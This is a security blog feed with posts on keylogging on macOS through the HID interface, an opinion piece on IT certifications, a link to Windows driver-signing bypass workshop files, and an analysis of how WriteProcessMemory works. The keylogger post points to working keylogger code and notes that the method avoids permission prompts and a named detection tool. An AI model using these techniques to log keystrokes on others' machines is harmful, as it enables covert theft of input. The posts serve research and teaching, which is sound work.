tag:blogger.com,1999:blog-23462890583063595242024-03-05T13:38:23.165+01:00The Evil Bit BlogForensics, Pentesting, Networking and SecurityCsaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.comBlogger216125tag:blogger.com,1999:blog-2346289058306359524.post-37622475665282889832019-04-23T15:20:00.002+02:002019-04-23T15:20:40.499+02:00New blog locationAny future posts will be posted here:<br />
<a href="https://theevilbit.github.io/" target="_blank">https://theevilbit.github.io/</a>Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-70420634151268163762019-02-16T23:10:00.000+01:002019-02-16T23:40:10.373+01:00macOS - keylogging through HID device interface<div class="note-wrapper">
<div style="text-align: justify;">
Just for fun I started to dig into how could I write a piece of software to detect rubber ducky style attacks on macOS. While I was reading through the IOKit API, and digging into the various functions and how everything works, I came across an API call, called <code class="code-inline">IOHIDManagerRegisterInputValueCallback</code>, which sounded very interesting although wasn’t related to what I was looking for. At first read it sounded that you can monitor USB device input. My first trials with the enumeration showed that the built in keyboard on a MacBook Pro is also connecting through the USB / IOHID interface. That made think if I could log keystrokes via this API call. At this point I got totally distracted from my original goal, but I will get back to that later :) Looking up the function on Apple’s website confirmed my suspicion, it says: </div>
<br />
<blockquote>
IOHIDManagerRegisterInputValueCallback<br />
Registers a callback to be used when an input value is issued by any enumerated device.</blockquote>
<br />
<div style="text-align: justify;">
Nice! Since I’m still a complete n00b to either Swift and Objective-C I tried to lookup on Google if someone wrote a key logger such this, and basically I found a good code here: <a href="https://stackoverflow.com/questions/30380400/how-to-tap-hook-keyboard-events-in-osx-and-record-which-keyboard-fires-each-even">macos - How to tap/hook keyboard events in OSX and record which keyboard fires each event - Stack Overflow</a> This is very well written and you can use it as is, although it doesn’t resolve scan code to actual keys. The mapping is available in one of the header files: <a href="https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX10.6.sdk/System/Library/Frameworks/IOKit.framework/Versions/A/Headers/hid/IOHIDUsageTables.h">MacOSX-SDKs/IOHIDUsageTables.h at master · phracker/MacOSX-SDKs · GitHub</a> With this I extended the code to use this mapping, and also write output to a file, and it works pretty nicely. I uploaded it here:<br />
<br />
<a href="https://github.com/theevilbit/macos/tree/master/USBKeyLog" target="_blank">https://github.com/theevilbit/macos/tree/master/USBKeyLog</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Then a googled a bit more, and came across this code, which is very-very nice, and does it way-way better then my:</div>
<div style="text-align: justify;">
<a href="https://github.com/SkrewEverything/Swift-Keylogger">GitHub - SkrewEverything/Swift-Keylogger: Keylogger for mac written in Swift using HID</a></div>
<div style="text-align: justify;">
<a href="https://medium.com/from-the-scratch/hacking-one-of-its-kind-keylogger-for-macos-no-permissions-needed-to-run-684ff32025f5">Hacking: Keylogger for macOS. *No permissions needed to run*</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The benefit of this method over the one that uses CGEventTap (common used in malware) is:</div>
<ol start="1">
<li>you don’t need root privileges
</li>
<li>runs even on Mojave without asking for Accessibility permissions
</li>
<li>not (yet??) detected by <a href="https://objective-see.com/products/reikey.html">ReiKey</a></li>
</ol>
The CGEventTap method is very deeply covered in Patrick Wardle's excellent videos<br />
<a href="https://www.youtube.com/channel/UCfJ9rcyHeYzGbWFdEq9jVJA/videos">Patrick Wardle - YouTube</a><br />
and the code is available in his GitHub repo<br />
<a href="https://github.com/objective-see/sniffMK">GitHub - objective-see/sniffMK: sniff mouse and keyboard events</a><br />
<br /></div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-79548618915817630992018-12-18T12:25:00.000+01:002018-12-18T12:26:13.420+01:00My view and experience with IT certifications<h3 style="text-align: justify;">
Introduction</h3>
<div style="text-align: justify;">
I run into plenty of debates about whether IT certifications are good or bad, what are those people who hold those capable of, what are the expectations and so on. This post is not just about IT Security certs, but IT in general. Personally I love to do certifications and have plenty of them from various vendors, so I thought I will share my view and experience about the let's call it "certification industry".</div>
<h3 style="text-align: justify;">
People with and w/o certs</h3>
<div style="text-align: justify;">
Personally I see and know basically two types of people: those who love to do certs or at least want to do a few and those who don't give a sh*t about certification. I want it to make clear: it doesn't reflect their skills or knowledge at all, some of the most skilled people I know have exactly 0 certs and don't really care about, and some of them have plenty or at least a few. I think this really comes down to personal preference. There are also a few people like me, who simply likes to do certifications, they are "certification monkeys" (I heard this term from Jeremy Cioara, who does excellent Cisco CBT videos).</div>
<div style="text-align: justify;">
There is another aspect to this. I regularly participate in technical job interviews for the past couple of year, nowadays for IT security people and in the past networking people. There are certain certifications in both roles, that if present will almost always involve that the person will have deep technical knowledge, can answer the questions, and in general make a successful interview, I specifically talk about OSCP, OSCE for IT Sec and CCIE for networks. I don't think it's only because of the actual 'certification' but the soft skills you need to achieve them. Assuming you don't cheat, and I want to believe most people don't, you really have to gain plenty of knowledge and put that into practice, keep persisting trying, learning, put your energy onto it, etc... so you can expect something solid from those people. There are people who claim plenty of experience, and some even after telling me doing webapp pentesting for years, can't even answer a simple question about XSS. Again, this is not everyone, there are super smart people without certs (see above) but the likelihood of having a low performer guy with good certs is smaller.</div>
<div style="text-align: justify;">
So as I see, there is this correlation: if you have a certification which is hard to achieve (OSCP, CCIE) you are most likely a capable person, and let's make it clear again: *it doesn't mean that if you don't have a certification you are not capable*.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
There is also a phenomena, some people with OSCP, CCIE, etc... you name it, get high-minded. I hate that. Please don't! You are not better or smarter than others because of that. No problems with being proud of it, but it goes wrong if you place yourself above others because of having a badge.</div>
<h3 style="text-align: justify;">
Cheaters</h3>
<div style="text-align: justify;">
Unfortunately there are also people who achieve plenty of certs with using *just* braindumps (preparation guides), and making an exam every other week. I think this not just make the certs less valuable overall, but morally I simply can't (and no one should) agree with it. Even personally I knew someone who did this, and get his CCSP cert in a month, which means he did an exam every week for 4 weeks. During a job or an interview it will very quickly turn out that someone gained his/her certs with just memorising braindumps.</div>
<div style="text-align: justify;">
On the other hand I must admit that with Cisco exams I also used braindumps after studying, but I will write about that in more detail below.</div>
<h3 style="text-align: justify;">
What knowledge to expect from certified people?</h3>
<div style="text-align: justify;">
I often see comments trying to degrade or dignify certifications, and as I see those come from having a totally wrong expectation toward those people or the certification itself. First thing is that a certification doesn't replace experience. For example, if someone has an OSCP (but no experience), it doesn't mean that he/she is ready to find you 0 days, write kernel exploits, be a neat web app pentester or conduct a full red team operation at a company right away without any experience. On the other I believe that person will have a solid foundation that you can easily build on, and quickly put him into work, without too much training, he/she will do fine on his/her own pretty fast. Same is true for CCIE. Think about these like a university degree. Any of those people are ready to work right away out of education? No way! You need to spend weeks to teach them how to use the systems they will work on, and so on, and even then they will be considered beginners. But they have a solid IT foundation and a type of thinking that you can build on.</div>
<div style="text-align: justify;">
What to expect from people who have certification where the exam is a multi choice question? Well, definitely less than from those who passed practical hands-on exams. The personality of that person will play a lot there, but probably their knowledge is above 0. I'm not a big fan of these, although I did personally many of them. I will write about them in more detail below.</div>
<div style="text-align: justify;">
In short I think these will provide the person with good foundation, what you can build on. Nothing more, nothing less.</div>
<h3 style="text-align: justify;">
Why to certify?</h3>
<div style="text-align: justify;">
There is definitely an advantage on the job market, especially with headhunters that if you have the right certs it will make you getting the job easier or at least passing the first round easier. Unfortunately many HR people have no idea what these really mean or involve, they just look for the keywords. I remember 10 years ago my colleague was asked by an IT(!!) headhunter: "Do you have such thing as CCIE?" She had no idea what's that and asked that so casually like every other person should have one. This is true to date, not everywhere, but most places. If you apply for a Cisco job, HR will pass your CV more easily to the technical staff if you have CCNA, CCNP, etc... This is unfortunate but I suppose we have to live with that and educate first round interviewers at the same time.</div>
<div style="text-align: justify;">
Beside the above personally I like to do them, because of the following:</div>
<div style="text-align: justify;">
</div>
<ul>
<li>It's a good challenge, and I like challenges.</li>
<li>It enforces me to study the material more in depth, and will make me remember for longer time.</li>
<li>I like to collect badges :D</li>
</ul>
<h3>
Multiple choice vs practical exam</h3>
<div>
Obviously practical exams have the most value. I think that's a no brainer. On the other side you have the multi choice questions, and in my experience they can be further split.</div>
<div>
1. Cisco style</div>
<div style="text-align: justify;">
Cisco is the typical exam, which I believe highly unfair. They put in plenty of such lexical questions, that no one on the Earth will know, or give you options that varies only slightly. For example, they had items like: "What is the colour of the Cisco wireless desktop agent if the connection is bad?" and you can chose from red, orange, yellow, and some other. Seriously why is this important at all, and who remembers this? It won't reflect your actual knowledge. Or the other type is where they give you a command with 4 very little variations, and it's not an every day used command they will give you. Now, typically on Cisco or probably on most enterprise grade network devices you will use tabs and question marks many times, because you can't remember every single command. You will know some, but certainly not all of them, and with such command line help available on the OS there is also no reason to remember them. Honestly this is why I used braindumps, as I believe these are unfair questions, and they are not targeted to properly assess the students' knowledge. Not 100% of the exam is such, but a significant part. In reality I don't know a single person who doesn't use braindumps, because of the previous reasons. I always learned the material and did plenty of practicing and I do feel that I know the stuff I took the exam for and thus I don't feel that I really cheated.</div>
<div style="text-align: justify;">
2. SANS style</div>
<div style="text-align: justify;">
SANS also uses multi choice question exams, but there is a big difference. One is that you can use the study material, which means that even if you get a lexical question you can look it up, although you need to know where to look for. Second is that typically you don't get such questions, but more of those where you actually need to apply what you have learned. I think this is much better. Typically you can do 2 practice tests before the exam, which will have similar style of questions than the real one, but not the same. I never used braindumps with SANS exams, as if you learn the material there is no need, and I passed all of my exams I took, for first.</div>
<div style="text-align: justify;">
3. EC-Council style</div>
<div style="text-align: justify;">
Maybe they changed it nowadays, but in the past their exam was a joke. A few lexical questions, and plenty of questions what you could answer with common sense, especially in the CEH/ECSA exam. In short it doesn't really reflect anything.</div>
<h3 style="text-align: justify;">
Renewal</h3>
<div style="text-align: justify;">
Probably this is where the certification industry gone mad, and this is the point where you will certainly feel that this is only done to harvest money, and you will quickly get disappointed. Ultimately the general concept behind renewal is to demonstrate that your knowledge is maintained/up-to-date and so on, and this is what none of the renewal methods actually ensure, at least those I know of. Here is why:</div>
<div style="text-align: justify;">
Cisco policy: in order to renew any associate/professional level certificate, you need to pass one exam from the same level or above, and you need to do it every 3 years. This effectively means that if I pass *any* professional exam I can renew both my CCNP Routing&Switching and Security certs. Passing let's say a switching exam has nothing to do with the security track, but it's still renewed. Why? It won't guarantee that my Cisco Security knowledge is up-to-date. In fact I have both of those, and while I still feel confident that I have a solid CCNP R&S level of knowledge, that's certainly not true for the Security part, and I can't get rid of that if I renew my other one. This just doesn't feel right. If the renewal doesn't fulfil its purpose why to have a renewal policy at all? Money? Renewing a CCIE is even worse, you need to pass the theory exam every 2 years, despite the fact that probably if you passed it, it's most likely so deeply sinked that you will remember it longer than any professional level material.</div>
<div style="text-align: justify;">
SANS policy: collect credits for 4 years, and if you have enough you can pay a fee, and there you go, you renewed your cert. You can collect credits with taking trainings (SANS training worth more than others...), going to conferences, etc... like CISSP. I could renew my malware reverse engineering cert with taking a forensics training. Why? That training is different and didn't really contribute to my reversing skills, certainly doesn't mean that you can still dissect a malware. Although SANS tries to make it look like it is, but if you are honest it doesn't. Again what you see here is that the renewal doesn't prove that your are still good at that topic, they just take your money.</div>
<div style="text-align: justify;">
EC-Council: similarly you need to collect credits. Exact same story as with SANS, but instead of paying a one time fee every 4 years, they ask for an annual fee. Why? Just to harvest people's money.</div>
<div style="text-align: justify;">
Offensive Security: No renewal. I like that. I think in order to pass the hands-on exam, you have to study the material so much, that it will sink in for a very long time.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I feel that the general concept of renewals is wrong at the core. You don't need to renew your university degree, although universities could easily claim that you forgot the material after a few years. I certainly don't remember the mathematics I learned for 2 years, I never used it, never really liked it, so it just faded away, and I think that will be true for every people.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Vendors still try to push for renewals and I feel it's only about trying to tie you to their trainings, exams, and get your money.</div>
<h3 style="text-align: justify;">
Conclusion</h3>
<div style="text-align: justify;">
I have many-many thoughts on this topic, and it was pretty hard and long to write this post, and I steel feel that I couldn't phrase everything I wanted. I might be wrong with my view, but currently this is how I see things, and no one has to agree. The most important thought I would like people taking away from this post is the following:</div>
<div style="text-align: justify;">
<ol>
<li>Certificate holders: Please don't be high-minded as what you have got is "just" a foundation and there are huge amount of super smart people without certs. No problem for being proud of it, but on a healthy level.</li>
<li>Non-certificate holders: Please don't degrade certificate holders' achievement as in some cases what they achieved is really notable and not easy, and not everyone can do it.</li>
</ol>
<div>
I have a bit of fear that this post will generate a burst of hate from both sides, and vendors, but:</div>
<div>
<br /></div>
<div style="text-align: center;">
<span style="font-family: "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 16px;"><b>¯\_(ツ)_/¯</b></span></div>
</div>
<div>
<br /></div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-6945594329341067652018-12-18T09:30:00.000+01:002018-12-18T09:30:02.563+01:00Windows Driver Signing Enforcement bypass<div style="text-align: justify;">
I uploaded all of the materials and files to my latest DSE bypass workshop, which I held at Defcon, hack.lu and Hacktivity to my Github page:</div>
<br />
<a href="https://github.com/theevilbit/workshops/" target="_blank">https://github.com/theevilbit/workshops/</a><br />
<br />
Enjoy!Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-54631065468598946282018-08-31T21:59:00.001+02:002018-09-02T23:12:23.946+02:00About WriteProcessMemory<div style="text-align: justify;">
The contents of this post might be very well known to many people, but for me it was new and honestly, also a bit shocking so I thought I will share it, it might be useful for others as well. I came across this behaviour when I was developing a working POC code for enSilo's new TurningTables technique.<br />
<br />
In short <span style="font-family: "courier new" , "courier" , monospace;">WriteProcessMemory</span> will write to <span style="font-family: "courier new" , "courier" , monospace;">PAGE_EXECUTE</span> or <span style="font-family: "courier new" , "courier" , monospace;">PAGE_EXECUTE_READ</span> pages if you have sufficient rights (<span style="font-family: "courier new" , "courier" , monospace;">PROCESS_VM_OPERATION</span>) to change its permissions to <span style="font-family: "courier new" , "courier" , monospace;">PAGE_EXECUTE_READWRITE</span>. I want to highlight in the beginning that this will not bypass any built-in security feature, nor exploit anything, this is just a convenience feature.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First I will cover how it works, and at the end why.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><u>Part 1 - How?</u></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This is how <span style="font-family: "courier new" , "courier" , monospace;">WriteProcessMemory</span> works in the latest Windows (1803):</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6RxxvNVob-34R0ANaSZnUjq3VgRAqWlWj7pCoVmCtpfNMnDB5m-2ihLe5qMjDYpr1S7WoHqwbr5W_zMvWvKpFpacPFhRN0urDWzXBld0BKnONN85kJcLqGjP1IpBJsJyNrEY8Mnzujz4T/s1600/Screen+Shot+2018-08-24+at+6.51.21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="963" data-original-width="1600" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6RxxvNVob-34R0ANaSZnUjq3VgRAqWlWj7pCoVmCtpfNMnDB5m-2ihLe5qMjDYpr1S7WoHqwbr5W_zMvWvKpFpacPFhRN0urDWzXBld0BKnONN85kJcLqGjP1IpBJsJyNrEY8Mnzujz4T/s640/Screen+Shot+2018-08-24+at+6.51.21.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First it will call <span style="font-family: "courier new" , "courier" , monospace;">NtQueryVirtualMemory</span> to get the properties of the region.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The next step is to check if the page has any of the following protections set: <span style="font-family: "courier new" , "courier" , monospace;">PAGE_NOACCESS(0x1) | PAGE_READONLY(0x2) | PAGE_EXECUTE (0x10) | PAGE_EXECUTE_READ (0x20)</span> </div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr03V0RCunnukUSwqjuUEBFCPw8hyXEQvMJcmvjbEDgoR76cLiOwL4pOMpR7ZHMZP5H-dgld9667qiBvCRrOsDvnS0iYvuKmsMntsRFerL-ZGOnkn5clPScP77V2lrhQntI9yT0BdOTNly/s1600/Screen+Shot+2018-08-24+at+6.51.45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="200" data-original-width="1600" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr03V0RCunnukUSwqjuUEBFCPw8hyXEQvMJcmvjbEDgoR76cLiOwL4pOMpR7ZHMZP5H-dgld9667qiBvCRrOsDvnS0iYvuKmsMntsRFerL-ZGOnkn5clPScP77V2lrhQntI9yT0BdOTNly/s640/Screen+Shot+2018-08-24+at+6.51.45.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Looking on the check bitwise:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">0xcc = 1100 1100</span></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">0x1 = 0000 0001</span></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">0x2 = 0000 0010</span></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">0x10 = 0001 0000</span></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">0x20 = 0010 0000</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
So if we perform the TEST instruction it will set the ZF flag if one of these settings are present. If not, it will go straight to the <span style="font-family: "courier new" , "courier" , monospace;">NtWriteVirtualMemory</span> call, which means that the page has the WRITE bit set:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMZiJFYs8DrtjJtCg7HvHa0k4aC1g77J26B40An_TLan1oIKtWjjVWxtrMkHq2F_NQ64LnoyQxUdLvYrgROAOu60PMnlQhM-bYnMlg0p9_3z18LKyzDX2l4UmeHu-Ub9KclwckaBm2K2pe/s1600/Screen+Shot+2018-08-24+at+6.51.57.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="592" data-original-width="1348" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMZiJFYs8DrtjJtCg7HvHa0k4aC1g77J26B40An_TLan1oIKtWjjVWxtrMkHq2F_NQ64LnoyQxUdLvYrgROAOu60PMnlQhM-bYnMlg0p9_3z18LKyzDX2l4UmeHu-Ub9KclwckaBm2K2pe/s640/Screen+Shot+2018-08-24+at+6.51.57.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
If the check indicates one of the protection set above, it will do another one:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDarWP2Anw73TqEPfUVduuPHcEYFwF88QxVS-rSMQxjAGH5wYQoiT1u3sN__Mr-e_uW5s1KnPd-S9HClVxjTbCoCScCMUid2M7Phwwp7iCwYc8f5sHhsLAcN7kSGEjDi5r-CAWHYprlGij/s1600/Screen+Shot+2018-08-24+at+6.58.09.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="175" data-original-width="1600" height="68" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDarWP2Anw73TqEPfUVduuPHcEYFwF88QxVS-rSMQxjAGH5wYQoiT1u3sN__Mr-e_uW5s1KnPd-S9HClVxjTbCoCScCMUid2M7Phwwp7iCwYc8f5sHhsLAcN7kSGEjDi5r-CAWHYprlGij/s640/Screen+Shot+2018-08-24+at+6.58.09.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This will jump if <span style="font-family: "courier new" , "courier" , monospace;">PAGE_NOACCESS</span> or <span style="font-family: "courier new" , "courier" , monospace;">PAGE_READONLY</span> is set, and we get an access denied as expected:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPE5Jl7Y7gg6G05WsbrfcxhqFPfO5wVLGG6DTNgQlyJNQ4f8wMJqko464WHzxMvFZqOAdEK7QQukjvvBrRMS3A3oQpq78hOfo_gWIdaxb7g2O5oDpmdsYwyTNep_vNwAtpRuTUcM8AOiDP/s1600/Screen+Shot+2018-08-24+at+6.52.16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="226" data-original-width="958" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPE5Jl7Y7gg6G05WsbrfcxhqFPfO5wVLGG6DTNgQlyJNQ4f8wMJqko464WHzxMvFZqOAdEK7QQukjvvBrRMS3A3oQpq78hOfo_gWIdaxb7g2O5oDpmdsYwyTNep_vNwAtpRuTUcM8AOiDP/s640/Screen+Shot+2018-08-24+at+6.52.16.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
If not, it will do another two checks:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY-K1dTSez_As0FTV-Msecj4DzZgV6HuujY1Ls1e3MLzxDn2_7inzndNjyWH0-6ad9ZvlPQADijbBPLvbXcAXW9oXxxSQc4reijfoYkMqNPRxA2fBZqivtO1y5DlezWcZ5kyveY_dafdck/s1600/Screen+Shot+2018-08-24+at+6.59.32.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="499" data-original-width="1600" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY-K1dTSez_As0FTV-Msecj4DzZgV6HuujY1Ls1e3MLzxDn2_7inzndNjyWH0-6ad9ZvlPQADijbBPLvbXcAXW9oXxxSQc4reijfoYkMqNPRxA2fBZqivtO1y5DlezWcZ5kyveY_dafdck/s640/Screen+Shot+2018-08-24+at+6.59.32.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
If the page is an <span style="font-family: "courier new" , "courier" , monospace;">MEM_IMAGE (0x1000000)</span> and if it’s <span style="font-family: "courier new" , "courier" , monospace;">MEM_PRIVATE (0x20000)</span> - if none of them, only then it will go to the same <span style="font-family: "courier new" , "courier" , monospace;">ACCESS_DENIED</span> routine, otherwise it will set a value into EAX. That value is eventually passed in RSI to <span style="font-family: "courier new" , "courier" , monospace;">NtProtectVirtualMemory</span>:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj07EOV9A_afMxSfJXXCu1sz_kcBA_-ToaTkmk70FZMca0D09h0oCNPK4Ypci3kQaAipJmlaB51sGB3qzyt0JzsZSABUVxbcgk1-aV3KJ_Aou6OLoxA_gxyK7qnTMaUQLOSquMiR-kOQb3p/s1600/Screen+Shot+2018-08-24+at+7.11.07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="458" data-original-width="1180" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj07EOV9A_afMxSfJXXCu1sz_kcBA_-ToaTkmk70FZMca0D09h0oCNPK4Ypci3kQaAipJmlaB51sGB3qzyt0JzsZSABUVxbcgk1-aV3KJ_Aou6OLoxA_gxyK7qnTMaUQLOSquMiR-kOQb3p/s640/Screen+Shot+2018-08-24+at+7.11.07.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Now, what are those values:</div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">0x40 - PAGE_EXECUTE_READWRITE</span></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">0x80 - PAGE_EXECUTE_WRITECOPY</span></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">0x20000000 - MEM_LARGE_PAGES (large page support)</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This means that the OS will nicely change the page protection for us to writeable, without ever giving an access denied. In case it’s an image it will set it to write-copy, which means that it will create a private copy of the image loaded for the process, so it won’t overwrite shared memory.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
After this the same <span style="font-family: "courier new" , "courier" , monospace;">NtWriteVirtualMemory</span> will be called, what is shown above. Finally the page protection will be reverted to the original. Essentially we got write access to an EXECUTABLE only page - obviously only if our process has the permission to apply those changes, so it won't bypass any protection.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
On older version of Windows 10, the function is slightly different but the logic is exactly the same:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtaQyvUK3S1WRtSPnCVKqTq1AZFlAhgI3dkUbEgA2Bdv2OqffovnsiNfx6-5yK57FvgDfP3tk6md0WDQ141XzWoMpp1WoLzEQ1nPHT0zIw8O4clYNm9Le8dKck4H6nyuK1T4ZjKpxaTwaD/s1600/Screen+Shot+2018-08-24+at+7.17.43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="805" data-original-width="1600" height="322" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtaQyvUK3S1WRtSPnCVKqTq1AZFlAhgI3dkUbEgA2Bdv2OqffovnsiNfx6-5yK57FvgDfP3tk6md0WDQ141XzWoMpp1WoLzEQ1nPHT0zIw8O4clYNm9Le8dKck4H6nyuK1T4ZjKpxaTwaD/s640/Screen+Shot+2018-08-24+at+7.17.43.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
On Windows 7 or 8 the behaviour also exists but the function logic is different. It will try set the memory to <span style="font-family: "courier new" , "courier" , monospace;">PAGE_EXECUTE_READWRITE</span> or if that fails to <span style="font-family: "courier new" , "courier" , monospace;">PAGE_READWRITE</span> right away:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWBG-DIqqFtx79s2ZukWjunqPKiCpjIY7tOkGiYksWYifAqQu6TvHWk4LHsmXA1pz0MLbScRZdZ7uSwPiMAoUIYPgejtvQmeIKf67lqYq9Kxvhn0cpBbbRlKdu-gT3il_uykqG4JPv2SO2/s1600/Screen+Shot+2018-08-24+at+7.21.16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="709" data-original-width="1600" height="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWBG-DIqqFtx79s2ZukWjunqPKiCpjIY7tOkGiYksWYifAqQu6TvHWk4LHsmXA1pz0MLbScRZdZ7uSwPiMAoUIYPgejtvQmeIKf67lqYq9Kxvhn0cpBbbRlKdu-gT3il_uykqG4JPv2SO2/s640/Screen+Shot+2018-08-24+at+7.21.16.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Then it will check if the old protection was either <span style="font-family: "courier new" , "courier" , monospace;">PAGE_EXECUTE_READWRITE</span>, <span style="font-family: "courier new" , "courier" , monospace;">PAGE_READWRITE</span> or <span style="font-family: "courier new" , "courier" , monospace;">PAGE_WRITECOPY</span>, if yes it will go and restore the original protection (as the memory is writeable) and write to it. If not it will check if it’s <span style="font-family: "courier new" , "courier" , monospace;">PAGE_NOACCESS</span> | <span style="font-family: "courier new" , "courier" , monospace;">PAGE_READONLY</span>. If yes, it will go and return <span style="font-family: "courier new" , "courier" , monospace;">ACCESS_DENIED</span>, otherwise it will call <span style="font-family: "courier new" , "courier" , monospace;">NtWriteVirtualMemory</span>… when the page protection is set to <span style="font-family: "courier new" , "courier" , monospace;">PAGE_EXECUTE_READWRITE/</span><span style="font-family: "courier new" , "courier" , monospace;">PAGE_READWRITE</span>. Again shortcut to have write access to EXECUTABLE pages.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRJoGZ3FQS_D4SUNrx0xZ2Zs4ZOV6HLLj1tAb1GLn4122NEe6tOuq5CDOTUjTW9AtRT6ik5h0aZOzMNE6hBVSxSz3bYscum4Ye6eZqFZGzrjw8_jtHylb1BzlP0HWUGPIXGFXBvJ5QNoup/s1600/Screen+Shot+2018-08-24+at+7.26.14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1216" data-original-width="1446" height="538" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRJoGZ3FQS_D4SUNrx0xZ2Zs4ZOV6HLLj1tAb1GLn4122NEe6tOuq5CDOTUjTW9AtRT6ik5h0aZOzMNE6hBVSxSz3bYscum4Ye6eZqFZGzrjw8_jtHylb1BzlP0HWUGPIXGFXBvJ5QNoup/s640/Screen+Shot+2018-08-24+at+7.26.14.png" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
